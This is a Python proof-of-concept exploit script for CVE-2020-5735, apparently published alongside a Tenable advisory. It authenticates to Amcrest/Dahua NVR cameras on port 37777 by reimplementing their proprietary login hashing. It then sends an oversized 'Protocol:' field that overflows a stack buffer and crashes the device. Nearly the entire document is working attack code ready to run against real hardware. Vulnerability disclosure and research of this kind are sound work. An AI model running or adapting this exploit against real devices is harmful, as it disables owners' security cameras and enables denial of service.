1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153 | # Exploit Title: Amcrest Dahua NVR Camera IP2M-841 - Denial of Service (PoC)
# Date: 2020-04-07
# Exploit Author: Jacob Baines
# Vendor Homepage: https://amcrest.com/
# Software Link: https://amcrest.com/firmwaredownloads
# Version: Many different versions due to number of Dahua/Amcrest/etc
# devices affected
# Tested on: Amcrest IP2M-841 2.420.AC00.18.R and AMDVTENL8-H5
# 4.000.00AC000.0
# CVE : CVE-2020-5735
# Advisory: https://www.tenable.com/security/research/tra-2020-20
# Amcrest & Dahua NVR/Camera Port 37777 Authenticated Crash
import argparse
import hashlib
import socket
import struct
import sys
import md5
import re
## DDNS test functionality. Stack overflow via memcpy
def recv_response(sock):
# minimum size is 32 bytes
header = sock.recv(32)
# check we received enough data
if len(header) != 32:
print 'Invalid response. Too short'
return (False, '', '')
# extract the payload length field
length_field = header[4:8]
payload_length = struct.unpack_from('I', length_field)
payload_length = payload_length[0]
# uhm... lets be restrictive of accepted lengths
if payload_length < 0 or payload_length > 4096:
print 'Invalid response. Bad payload length'
return (False, header, '')
if (payload_length == 0):
return (True, header, '')
payload = sock.recv(payload_length)
if len(payload) != payload_length:
print 'Invalid response. Bad received length'
return (False, header, payload)
return (True, header, payload)
def sofia_hash(msg):
h = ""
m = hashlib.md5()
m.update(msg)
msg_md5 = m.digest()
for i in range(8):
n = (ord(msg_md5[2*i]) + ord(msg_md5[2*i+1])) % 0x3e
if n > 9:
if n > 35:
n += 61
else:
n += 55
else:
n += 0x30
h += chr(n)
return h
top_parser = argparse.ArgumentParser(description='lol')
top_parser.add_argument('-i', '--ip', action="store", dest="ip",
required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port",
type=int, help="The port to connect to", default="37777")
top_parser.add_argument('-u', '--username', action="store",
dest="username", help="The user to login as", default="admin")
top_parser.add_argument('--pass', action="store", dest="password",
required=True, help="The password to use")
args = top_parser.parse_args()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"
# send the old style login request. We'll use blank hashes. This should
# trigger a challenge from new versions of the camera
old_login = ("\xa0\x05\x00\x60\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" + # username hash
"\x00\x00\x00\x00\x00\x00\x00\x00" + # password hash
"\x05\x02\x00\x01\x00\x00\xa1\xaa")
sock.sendall(old_login)
(success, header, challenge) = recv_response(sock)
if success == False or not challenge:
print 'Failed to receive the challenge'
print challenge
sys.exit(0)
# extract the realm and random seed
seeds = re.search("Realm:(Login to [A-Za-z0-9]+)\r\nRandom:([0-9]+)\r\n",
challenge)
if seeds == None:
print 'Failed to extract realm and random seed.'
print challenge
sys.exit(0)
realm = seeds.group(1)
random = seeds.group(2)
# compute the response
realm_hash = md5.new(args.username + ":" + realm + ":" +
args.password).hexdigest().upper()
random_hash = md5.new(args.username + ":" + random + ":" +
realm_hash).hexdigest().upper()
sofia_result = sofia_hash(args.password)
final_hash = md5.new(args.username + ":" + random + ":" +
sofia_result).hexdigest().upper()
challenge_resp = ("\xa0\x05\x00\x60\x47\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x05\x02\x00\x08\x00\x00\xa1\xaa" +
args.username + "&&" + random_hash + final_hash)
sock.sendall(challenge_resp)
(success, header, payload) = recv_response(sock)
if success == False or not header:
print 'Failed to receive the session id'
sys.exit(0)
session_id_bin = header[16:20]
session_id_int = struct.unpack_from('I', session_id_bin)
if session_id_int[0] == 0:
print "Log in failed."
sys.exit(0)
session_id = session_id_int[0]
print "[+] Session ID: " + str(session_id)
# firmware version
command = "Protocol: " + ("a" * 0x300) + "\r\n"
command_length = struct.pack("I", len(command))
firmware = ("\x62\x00\x00\x00" + command_length +
"\x04\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
command)
sock.sendall(firmware)
(success, header, firmware_string) = recv_response(sock)
if success == False and not header:
print "[!] Probably crashed the server."
else:
print "[+] Attack failed."
|
